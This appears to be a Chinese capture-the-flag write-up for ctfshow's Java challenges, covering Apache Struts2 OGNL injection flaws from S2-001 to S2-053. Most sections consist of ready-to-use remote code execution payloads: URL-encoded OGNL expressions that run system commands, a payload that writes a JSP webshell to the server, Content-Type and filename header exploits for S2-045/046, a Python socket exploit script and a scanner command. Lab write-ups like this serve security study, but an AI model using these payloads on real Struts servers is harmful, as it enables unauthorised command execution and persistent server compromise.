ctfshow_JAVA

vulhub/struts2/github源码

OGNL

OGNL(Object Graph Navigation Language)是一种用于 Java 的表达式语言,它提供了一种方法来访问和操作对象图。OGNL 通常用于 Web 应用程序中,例如在 Struts 框架中,用于从 JavaBean 或对象中获取和设置属性值。

Object-Graph Navigation Language

它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL 三要素:

1、表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。

2、根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。

3、上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。

上面我们提到的根对象(Root Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root Object)的存取操作的表达式是不需要增加 # 符号进行区分的。

web 279

S2-001 漏洞

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。
例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

1
%{1+1} == 2

payload

1
2
3
4
5
6
7
8
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env //String[]后面的
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web 280

S2-005 漏洞

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)
struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过 # 来访问struts的对象,struts框架通过过滤 # 字符防止安全问题
然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞
攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

S2-005和S2-003的原理是类似的,禁止静态方法调用和类方法执行,再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

payload

java.lang.ProcessBuilder(whoami.toString()

1
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27env%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

java.lang.ProcessBuilder(env.toString()

web 281

S2-007 漏洞

当配置了验证规则 <ActionName>-validation.xml 时
若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回
影响版本:Struts2 2.0.0 - Struts2 2.2.3

payload

1
2
3
4
name = ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
email = //*name

age = //*name

web 282

S2-008 漏洞

S2-008 涉及多个漏洞
Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器 (Tomcat) 对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。
另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令
影响版本:Struts 2.1.0 - Struts 2.3.1

payload

1
2
3
4
devmode.action?
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

devmode.action?debug=command&expression(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web 283

showcase远程代码执行漏洞

S2-009 漏洞

来自 S2-003
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于 # 号 ,同样使用编码 \u0023\43 进行绕过;
于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御
通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

payload

http://ip:8080/ajax/example5.action
通过访问来访问控制器

1
2
// github
/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

@java.lang.Runtime@getRuntime ().exec(%27env%27)

POC

1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23choco=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23choco.println(%23d),%23choco.close())(meh)&z[(name)(%27meh%27)]

web 284

S2-012 漏洞

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量

1
2
3
4
5
6
7
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行
影响版本: 2.1.0 - 2.3.13

payload

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web 285

S2-013 漏洞

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当 includeParams=all 的时候,会将本次请求的 GET 和 POST 参数都放在 URL 的 GET 参数上。在放置参数的过程中会将参数进行 OGNL 渲染,造成任意命令执行漏洞
影响版本:2.0.0 - 2.3.14.1

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强

远程代码执行 POC:

1
2
3
4
5
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
1
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

payload

1
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

web 286

S2-015 漏洞

Struts 2 允许基于通配符定义动作映射,如下例所示:

1
2
3
4
5
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面

但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行)
所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功
../${1+3}.action == ../4.action

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中
删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess ['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力
影响版本: 2.0.0 - 2.3.14.2

1
2
3
4
5
6
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>

payload

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream()),#q}.action

额, 环境是能读取出来 但是似乎根本就没有 flag ) , 这题也只支持手工(怀疑因为.action) 脚本扫不到漏洞
同时需要 需要 URL 编码, 加上 .action (github 文档没有注明)

web 287

S2-016

在 struts2 中,DefaultActionMapper 类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令
以,http://your-ip:8080/index.action?redirect:OGNL expression 即可执行OGNL表达式
影响版本: 2.0.0 - 2.3.15

payload

执行:uname -a

1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取 Web 目录:

1
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

获取 webshell:

1
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

POC

1
.../S2-016/default.action?redirect%3a%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d

web 288

S2-019 漏洞

动态方法调用的默认启用,原理类似于s2-008
Apache Struts 2的 Dynamic Method Invocation 机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

与 s2-008poc 区别不同的仅仅是由原先的[“allowStaticMethodAccess”]=true 静态方法执行改为(new java.lang.ProcessBuilder(‘id’)).start(),但该方法在虚空浪子心提出 s2-012 后不久就在博客里说明了官方修补方案将 allowStaticMethodAccess 取消了后的替补方法就是使用 ava.lang.ProcessBuilder

影响版本:Struts 2.0.0 - Struts 2.3.15.1

payload

1
2
// url编码需要保留GET的? = &
?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'env'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()

但是 flag 不存在(? )

web 289

S2-032 漏洞

Struts 框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估

EG: 代码执行过程大致为先尝试获取 value 的值,如果 value 为空,那么就二次解释执行了 name。并且在执行前给 name 加上了%{}。最终造成二次执行

影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3 除外)

payload

1
2
3
4
5
6
7
8
// github 官方
.../index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

// 适配版
.../default.action?message=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env

// 页面回显版
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

web 290

S2-032 漏洞

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行 OGNL 表达式计算,导致远程命令执行漏洞
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

payload

1
2
3
4
5
//github
.../index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@ java.lang.Runtime@getRuntime ().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

//
.../S2-032/?method:%23_memberAccess% 3d@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@ java.lang.Runtime@getRuntime ().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env

web 291

S2-033 漏洞

当开启动态方法调用,并且同时使用了 Strut2 REST Plugin 插件时,使用 ! 操作符调用动态方法可能执行ognl表达式,导致代码执行
影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

payload

1
.../orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=env

web 292

S2-037 漏洞

当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式
影响版本:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

payload

1
~~/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami~~

web 293

S2-045

在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令
影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

payload

1
2
3
4
5
6
7
8
9
// github
POST / HTTP/1.1
Host: localhost:8080
...
Content-Type: {#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

//
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z

web 294

S2-046

Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的 Content-Dispositionfilename 字段,通 过不恰当的filename字段并需要使用 \x00 截断 或者 大小超过2G的 Content-Length 字段来触发异常,进而导致任意代码执行。
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

payload

测试漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /..?/ HTTP/1.1

-----------------------------34703388381475496333344262519
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('CH0cio',1*1337)}\xb"
Content-Type: text/plain
-----------------------------34703388381475496333344262519
Content-Disposition: form-data; name="caption"

-----------------------------34703388381475496333344262519--


// 收到 即为成功
Ch0ico: 1337

\00截断

POC

工 作 留 痕
同样注意 b 前截断

1
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

由于需要发送畸形数据包,也简单使用原生socket编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())

web 295

S2-0

漏洞主要问题出在 struts2-struts1-plugin 这个插件包上。这个库的主要作用就是将 struts1 的 action 封装成 struts2 的 action 以便它能在 strut2 上运行使用
而由于 struts2-struts1-plugin 包中的 Struts1Action.java 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行 OGNL 表达式
同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个 RCE 攻击

payload

控制流程

1
S2-048 => Integration => Struts 1 Integration => Gangster Name:( %{1+1} )

POC

1
2
3
4
5
// 页面回显 但是env太大写不出
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

// 回显 BP需要抓包后URL编码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

web 296

S2-052

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

拓展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib / jackson (可选)
xhtml application/xhtml+xml [null]
[null] application/x-www-form-urlencode [null]
[null] multipart/form-data [null]
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
1
2
3
<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过 反序列化 引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

payload

用脚本跑的 , 虽然拿到了 flag 但脚本报了点错误
这里扫出来是 S2-046 但是用 045 才跑的出来 (需要注意这里的 -u + url 得改成是 http://)

1
python ./Struts2Scan.py -u http://45b59b88-6b7d-44c8-9047-9630be7e009b.challenge.ctf.show/S2-052/orders -n S2-045 --exec

web 297

S2-053

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞

payload

1
2
3
4
5
6
7
